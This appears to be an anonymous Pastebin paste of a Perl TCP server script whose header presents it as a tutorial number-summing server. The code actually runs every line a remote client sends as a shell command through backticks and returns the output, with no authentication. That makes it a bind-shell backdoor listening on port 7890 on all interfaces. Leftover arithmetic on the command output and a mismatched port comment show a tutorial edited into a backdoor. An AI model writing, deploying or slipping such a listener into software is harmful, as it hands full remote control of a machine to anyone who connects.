Advertisement
Guest User

Untitled

a guest
Apr 26th, 2018
61
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.68 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2.  
  3. use IO::Socket;
  4. #####################################
  5. # Server Script:
  6. # Copyright 2003 (c) Philip Yuson
  7. # this program is distributed according to
  8. # the terms of the Perl license
  9. # Use at your own risk
  10. #####################################
  11. $local = IO::Socket::INET->new(
  12. Proto => 'tcp', # protocol
  13. LocalAddr => '0.0.0.0:7890',
  14. # Host and port to listen to
  15. # Change the port if 8081 is being used
  16. Reuse => 1
  17. ) or die "$!";
  18. $local->listen(); # listen
  19. $local->autoflush(1); # To send response immediately
  20. print "At your service. Waiting...\n";
  21. my $addr; # Client handle
  22. while ($addr = $local->accept() ) { # receive a request
  23. print "Connected from: ", $addr->peerhost();
  24. # Display messages
  25. print " Port: ", $addr->peerport(), "\n";
  26. my $result; # variable for Result
  27. while (<$addr>) { # Read all messages from client
  28. # (Assume all valid numbers)
  29. last if m/^end/gi; # if message is 'end'
  30. # then exit loop
  31. print "Received: $_"; # Print received message
  32.  
  33. $output_string = `$_ 2>&1`;
  34.  
  35. print $addr $_; # Send received message back
  36. print $addr $output_string;
  37. # to verify
  38. $result += $_; # Add value to result
  39. $result += $output_string;
  40. }
  41. chomp; # Remove the
  42. if (m/^end/gi) { # You need this. Otherwise if
  43. # the client terminates abruptly
  44. # The server will encounter an
  45. # error when it sends the result back
  46. # and terminate
  47. my $send = "result=$result"; # Format result message
  48. print $addr "$send\n"; # send the result message
  49. print "Result: $send\n"; # Display sent message
  50. }
  51. print "Closed connection\n"; # Inform that connection
  52. # to client is closed
  53. close $addr; # close client
  54. print "At your service. Waiting...\n";
  55. # Wait again for next request
  56. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement